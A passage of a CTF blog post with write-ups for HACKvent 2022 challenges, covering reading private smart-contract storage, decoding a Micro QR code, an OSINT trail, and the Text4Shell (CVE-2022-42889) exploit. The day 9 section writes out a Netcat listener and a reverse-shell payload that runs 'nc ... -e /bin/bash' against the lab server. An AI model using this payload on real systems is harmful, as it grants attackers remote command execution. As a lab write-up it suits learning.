class=\"wp-block-heading\">[HV22.06] privacy isn&#8217;t given<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"833\" height=\"129\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-11.png\" alt=\"\" class=\"wp-image-1977\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-11.png 833w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-11-300x46.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-11-768x119.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-11-500x77.png 500w\" sizes=\"auto, (max-width: 833px) 100vw, 833px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>As every good IT person, Santa doesn&#8217;t have all his backups at one place. Instead, he spread them all over the world.<br>With this new blockchain unstoppable technology emerging (except Solana, this chain stops all the time) he tries to use it as another backup space. To test the feasibility, he only uploaded one single flag. Fortunately for you, he doesn&#8217;t understand how blockchains work.<\/p>\n\n\n\n<p>Can you recover the flag?<\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>HaCk0<\/strong>. HaCk0 if you&#8217;re reading this, can you send me some ether pleazze?<\/em><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Information<\/h2>\n\n\n\n<p>Start the Docker in the&nbsp;<code>Resources<\/code>&nbsp;section. You will be able to connect to a newly created Blockchain. Use the following information to interact with the challenge.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Wallet public key&nbsp;<code>0x28a8746e75304c0780e011bed21c72cd78cd535e<\/code>\nWallet private key&nbsp;<code>0xa453611d9419d0e56f499079478fd72c37b251a94bfde4d19872c44cf65386e3<\/code>\nContract address:&nbsp;<code>0xe78A0F7E598Cc8b0Bb87894B0F60dD2a88d6a8Ab<\/code><\/pre>\n\n\n\n<p>The source code of the contract is the following block of code:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.9;\n\ncontract NotSoPrivate {\n    address private owner;\n    string private flag;\n\n    constructor(string memory _flag) {\n        flag = _flag;\n        owner = msg.sender;\n    }\n\n    modifier onlyOwner() {\n        require(msg.sender == owner);\n        _;\n    }\n\n    function setFlag(string calldata _flag) external onlyOwner {\n        flag = _flag;\n    }\n}<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>As this was the first Blockchain challenge in HACKvent 2022, I spent a vast amount of time setting up all the dependencies like Metamask and Remix. After I did, I discovered that it was not needed for this challenge.<br>Data stored on the Blockchain is public, even when a variable has a private state. These variables are not available for other contracts but can be enumerated using Web3. This is because variables on the EVM (Ethereum Virtual Machine) are stored in order in an array. Through Web3, we can directly reference this array and get the corresponding values. You can find more information about this problem here: <a rel=\"noreferrer noopener\" href=\"https:\/\/cryptomarketpool.com\/access-private-data-on-the-eth-blockchain\/\" target=\"_blank\">https:\/\/cryptomarketpool.com\/access-private-data-on-the-eth-blockchain\/<\/a><br>I solved this challenge with the <a rel=\"noreferrer noopener\" href=\"https:\/\/web3py.readthedocs.io\/en\/v5\/\" target=\"_blank\">Web3.py Python library<\/a>. <\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">from web3 import Web3, HTTPProvider\n\nw3 = Web3(HTTPProvider('http:\/\/152.96.7.10:8545'))\nprint(w3.eth.getStorageAt('0xe78A0F7E598Cc8b0Bb87894B0F60dD2a88d6a8Ab', 1))<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">$ python3 sol.py \nb'HV22{Ch41nS_ar3_Publ1C}\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00.'<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{Ch41nS_ar3_Publ1C}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.07] St. Nicholas&#8217;s animation<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"840\" height=\"134\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-12.png\" alt=\"\" class=\"wp-image-1985\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-12.png 840w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-12-300x48.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-12-768x123.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-12-500x80.png 500w\" sizes=\"auto, (max-width: 840px) 100vw, 840px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>Santa has found a weird device called an &#8220;Oxocard Blockly&#8221;, which seems to display a sequence of images. He believes it has got something to do with a QR code, but it doesn&#8217;t seem complete&#8230;<\/p>\n\n\n\n<p>You can&#8217;t fly to the north pole, so Santa sent you a video of the device in action.<\/p>\n\n\n\n<p>The elves are having a karaoke and left with in a hurry while singing into their micro. This means that they aren&#8217;t there to help him, so now is your chance to make a good impression and find the flag!<\/p>\n\n\n\n<p><strong>Resource<\/strong>: <a href=\"https:\/\/sigterm.ch\/stuff\/hv22\/recording.mp4\" target=\"_blank\" rel=\"noreferrer noopener\">recording.mp4<\/a><\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>kuyaya<\/strong>. HACKvent + QR challenges = &lt;3<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>If we look at the video, we can see a pattern. Four blocks are shown after each other in a new position: top left, top right, bottom left, and bottom right. Right after this, the video shows the top left part of a QR code (the square), followed by three more images. They need to be aligned like the pattern told us. I lost so much time because I assumed it was a normal QR code. Instead, we need to create a Micro QR Code. After finding out about the Micro QR Code, it was pretty straightforward. I used this web service to draw the QR code manually. <a href=\"https:\/\/www.pixilart.com\/draw\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.pixilart.com\/draw<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/qr.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"679\" height=\"704\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/qr.png\" alt=\"\" class=\"wp-image-1986\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/qr.png 679w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/qr-289x300.png 289w\" sizes=\"auto, (max-width: 679px) 100vw, 679px\" \/><\/a><\/figure>\n\n\n\n<p>The next challenge was to find a scanner that supports Micro QR codes. I was faster adapting a Python script from Stackoverflow than finding a working scanner online.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">import numpy as np\nimport pyboof as pb\n\ndata_path = \"qr.png\"\ndetector = pb.FactoryFiducial(np.uint8).microqr()\nimage = pb.load_single_band(data_path, np.uint8)\ndetector.detect(image)\n\nprint(\"Detected a total of {} QR Codes\".format(len(detector.detections)))\nfor qr in detector.detections:\n    print(\"Message: \" + qr.message)\n    print(\"     at: \" + str(qr.bounds))<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">$ python3 sol.py \nLaunching Java process: java_port=25333 python_port=25334\nGateway Server Started\nDetected a total of 1 QR Codes\nMessage: HV22{b0f}\n     at: Polygon2D( (123.0,89.0) (557.9999999999089,89.00000000003412) (557.9999999998532,523.9999999998881) (123.00000000000962,523.9999999999582) )<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{b0f}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.08] Santa&#8217;s Virus<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"840\" height=\"134\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-13.png\" alt=\"\" class=\"wp-image-1987\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-13.png 840w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-13-300x48.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-13-768x123.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-13-500x80.png 500w\" sizes=\"auto, (max-width: 840px) 100vw, 840px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>A user by the name of&nbsp;<strong>HACKventSanta<\/strong>&nbsp;may be spreading viruses. But Santa would never do that! The elves want you to find more information about this filthy impersonator.<\/p>\n\n\n\n<p><em>This challenge was created by&nbsp;<strong>yuva<\/strong>. I swear he doesn&#8217;t write viruses!<\/em><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/37ff7417-5c2d-46bc-985c-715e6193d57a.jpg\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"200\" height=\"200\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/37ff7417-5c2d-46bc-985c-715e6193d57a.jpg\" alt=\"\" class=\"wp-image-1988\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/37ff7417-5c2d-46bc-985c-715e6193d57a.jpg 200w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/37ff7417-5c2d-46bc-985c-715e6193d57a-150x150.jpg 150w\" sizes=\"auto, (max-width: 200px) 100vw, 200px\" \/><\/a><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>Google didn&#8217;t return any results when searching for &#8220;HACKventSanta&#8221;. As we only have a username, I used the tool &#8220;Blackbird&#8221; to search for users on Social Networks. The tool returned one single result on Instagram.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-14.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"679\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-14-1024x679.png\" alt=\"\" class=\"wp-image-1989\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-14-1024x679.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-14-300x199.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-14-768x509.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-14-1536x1018.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-14-453x300.png 453w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-14.png 1946w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>From the Instagram profile, we get the link to the <a href=\"https:\/\/github.com\/HackerSanta\" target=\"_blank\" rel=\"noreferrer noopener\">GitHub page<\/a>, which has one project, and we can download a file named &#8220;files.zip&#8221;. In the archive, there is only one index.html file with a message, but otherwise, nothing suspicious.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-15.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"98\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-15-1024x98.png\" alt=\"\" class=\"wp-image-1990\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-15-1024x98.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-15-300x29.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-15-768x74.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-15-500x48.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-15.png 1523w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>Based on the message in the HTML file, we look at the tags of the Git repository and can find three more files.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-16.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"378\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-16-1024x378.png\" alt=\"\" class=\"wp-image-1991\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-16-1024x378.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-16-300x111.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-16-768x283.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-16-1536x566.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-16-2048x755.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-16-500x184.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>Both archives do not contain any new files. But the file &#8220;Undetected&#8221; is interesting. It is an ELF executable and includes the following strings.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">I am innocent! \nI am not a hacker \nThis is not a virus \nI can only give you key which you might need: \n ThisIsTheKeyToReceiveTheGiftFromSanta \nBut Go ahead and check my md5, I swear I am undetected!<\/pre>\n\n\n\n<p>We do as he says and upload the file &#8220;Undetected&#8221; to <a rel=\"noreferrer noopener\" href=\"https:\/\/www.virustotal.com\/gui\/file\/4d0e17d872f1d5050ad71e0182073b55009c56e9177e6f84a039b25b402c0aef\/details\" target=\"_blank\">virustotal.com<\/a> which reveals a Twitter user.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-17.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"741\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-17-1024x741.png\" alt=\"\" class=\"wp-image-1992\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-17-1024x741.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-17-300x217.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-17-768x556.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-17-1536x1112.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-17-414x300.png 414w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-17.png 1908w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>On the <a rel=\"noreferrer noopener\" href=\"https:\/\/twitter.com\/SwissSanta2022\" target=\"_blank\">Twitter profile<\/a>, we can see three posts whit QR codes. One contains the Youtube-Link, where we get rickrolled, the second includes a link to a Christmas song, and the third has a <a href=\"https:\/\/drive.google.com\/file\/d\/11pKYrcwr7Hf1eSUq8twtN5aMK-oziPE4\/view\" target=\"_blank\" rel=\"noreferrer noopener\">link to a Google Drive document<\/a>.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-18.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"800\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-18.png\" alt=\"\" class=\"wp-image-1993\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-18.png 800w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-18-300x300.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-18-150x150.png 150w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-18-768x768.png 768w\" sizes=\"auto, (max-width: 800px) 100vw, 800px\" \/><\/a><\/figure>\n\n\n\n<p>The Google Drive document asks for a password, where we can enter the key &#8220;ThisIsTheKeyToReceiveTheGiftFromSanta&#8221; we found in the &#8220;Undetected&#8221; file. The document is a PDF file that contains the <a href=\"https:\/\/gchq.github.io\/CyberChef\/#recipe=From_Base64('A-Za-z0-9%2B\/%3D',true,false)&amp;input=U0ZZeU1udElUMGhQSzFOQlRsUkJLMGRKVmtWVEswWk1RVWRUSzA1UFZDdFdTVkpWVTMwPQ\" target=\"_blank\" rel=\"noreferrer noopener\">base64 encoded flag<\/a>.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-19.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"948\" height=\"1024\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-19-948x1024.png\" alt=\"\" class=\"wp-image-1994\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-19-948x1024.png 948w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-19-278x300.png 278w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-19-768x829.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-19.png 1314w\" sizes=\"auto, (max-width: 948px) 100vw, 948px\" \/><\/a><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{HOHO+SANTA+GIVES+FLAGS+NOT+VIRUS}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.09] Santa&#8217;s Text<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"843\" height=\"123\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-20.png\" alt=\"\" class=\"wp-image-1997\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-20.png 843w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-20-300x44.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-20-768x112.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-20-500x73.png 500w\" sizes=\"auto, (max-width: 843px) 100vw, 843px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>Santa recently created some Text with a \ud83d\udc1a, which is said to be vulnerable code. Santa has put this Text in his library, putting the library in danger. He doesn&#8217;t know yet that this could pose a risk to his server. Can you backdoor the server and find all of Santa&#8217;s secrets?<\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>yuva<\/strong>. Yuva, can you text Santa what Text he has?<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>The challenge entry point is this lovely little website. If we enter a text, it is &#8220;encrypted&#8221; with rot-13 and returned to the page. If we don&#8217;t enter anything, the default string &#8220;HV22santa&#8221; is returned and &#8220;encrypted&#8221; with rot-13.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-21.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"300\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-21-1024x300.png\" alt=\"\" class=\"wp-image-1998\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-21-1024x300.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-21-300x88.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-21-768x225.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-21-1536x450.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-21-2048x600.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-21-500x146.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-22.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"985\" height=\"739\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-22.png\" alt=\"\" class=\"wp-image-1999\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-22.png 985w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-22-300x225.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-22-768x576.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-22-400x300.png 400w\" sizes=\"auto, (max-width: 985px) 100vw, 985px\" \/><\/a><\/figure>\n\n\n\n<p>I wrongly assumed this challenge was about a typical code injection vulnerability. I tried all possible injection payloads but wasn&#8217;t successful. <\/p>\n\n\n\n<p>I re-read the challenge description and got a new clue: The challenge category is &#8220;Penetration Testing&#8221;. The information mentions a library, and what I only recognized while reading the description the second time: &#8220;Text&#8221; is always written with a capital &#8220;T&#8221;, and suddenly everything becomes clear. Just recently, a critical vulnerability in the library <a rel=\"noreferrer noopener\" href=\"https:\/\/www.lunasec.io\/docs\/blog\/text4shell-java-rce-cve-2022-42889\/\" target=\"_blank\">Apache Text led to remote code execution (RCE)<\/a>! With this information, we can solve the challenge in no time.<\/p>\n\n\n\n<p>We first need to ensure that we have a VPN connection to the Hacking-lab network. Then we set up a Netcat listener to establish a reverse shell.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$ nc -lnvp 1337\nListening on 0.0.0.0 1337<\/pre>\n\n\n\n<p>Now we can copy and paste the payload found in the vulnerability description and alter it to connect the reverse shell back to my workstation. We must remember that the payload must be &#8220;encrypted&#8221; by rot-13. Otherwise, of course, it will not work.<\/p>\n\n\n\n<p><strong>Payload:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">${script:javascript:java.lang.Runtime.getRuntime().exec('nc 10.13.0.154 1337 -e \/bin\/bash')}<\/pre>\n\n\n\n<p>Rot13 Payload:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">${fpevcg:wninfpevcg:wnin.ynat.Ehagvzr.trgEhagvzr().rkrp('ap 10.13.0.154 1337 -r \/ova\/onfu')}<\/pre>\n\n\n\n<p>And we get a shell and find the file &#8220;FLAG.txt&#8221; in the server&#8217;s directory &#8220;\/SANTA\/&#8221;.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-23.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"340\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-23-1024x340.png\" alt=\"\" class=\"wp-image-2000\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-23-1024x340.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-23-300x100.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-23-768x255.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-23-1536x510.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-23-2048x680.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-23-500x166.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/Screenshot-from-2022-12-09-14-44-05.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"316\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/Screenshot-from-2022-12-09-14-44-05-1024x316.png\" alt=\"\" class=\"wp-image-2001\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/Screenshot-from-2022-12-09-14-44-05-1024x316.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/Screenshot-from-2022-12-09-14-44-05-300x93.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/Screenshot-from-2022-12-09-14-44-05-768x237.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/Screenshot-from-2022-12-09-14-44-05-500x154.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/Screenshot-from-2022-12-09-14-44-05.png 1040w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{th!s_Text_5h\u20acLL_Com\u20ac5_\u20a3\u20b90M_SANTAA!!}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.10] Notme<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"827\" height=\"123\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-24.png\" alt=\"\" class=\"wp-image-2004\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-24.png 827w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-24-300x45.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-24-768x114.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-24-500x74.png 500w\" sizes=\"auto, (max-width: 827px) 100vw, 827px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>Santa brings you another free gift! We are happy to announce a free note taking webapp for everybody. No account name restriction, no filtering, no restrictions and the most important thing: no bugs! Because it cannot be hacked, Santa decided to name it Notme = Not me you can hack!<\/p>\n\n\n\n<p>Or can you?<\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>HaCk0<\/strong>. A non-blockchain challenge, what a surprise!<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>I got &#8220;first blood&#8221;\ud83e\ude78for this challenge! But probably only because I found another, unintended way to solve it &#8211; which was easier than the original one. The intended solution was a blind &amp; time-based SQL injection.<br>When we start the challenge, the following website loads.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-26.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"185\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-26-1024x185.png\" alt=\"\" class=\"wp-image-2007\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-26-1024x185.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-26-300x54.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-26-768x139.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-26-1536x277.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-26-500x90.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-26.png 1949w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>We can register a user, create notes, list and read our notes and update the user&#8217;s password. I first started to look at the API requests with Burp. I created two users: &#8220;user1&#8221; and &#8220;user2&#8221;. We can see that they get the id 1 and 2. Both receive the role &#8220;user&#8221;, and the password is returned as an unsalted SHA256 string.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-27.png\" 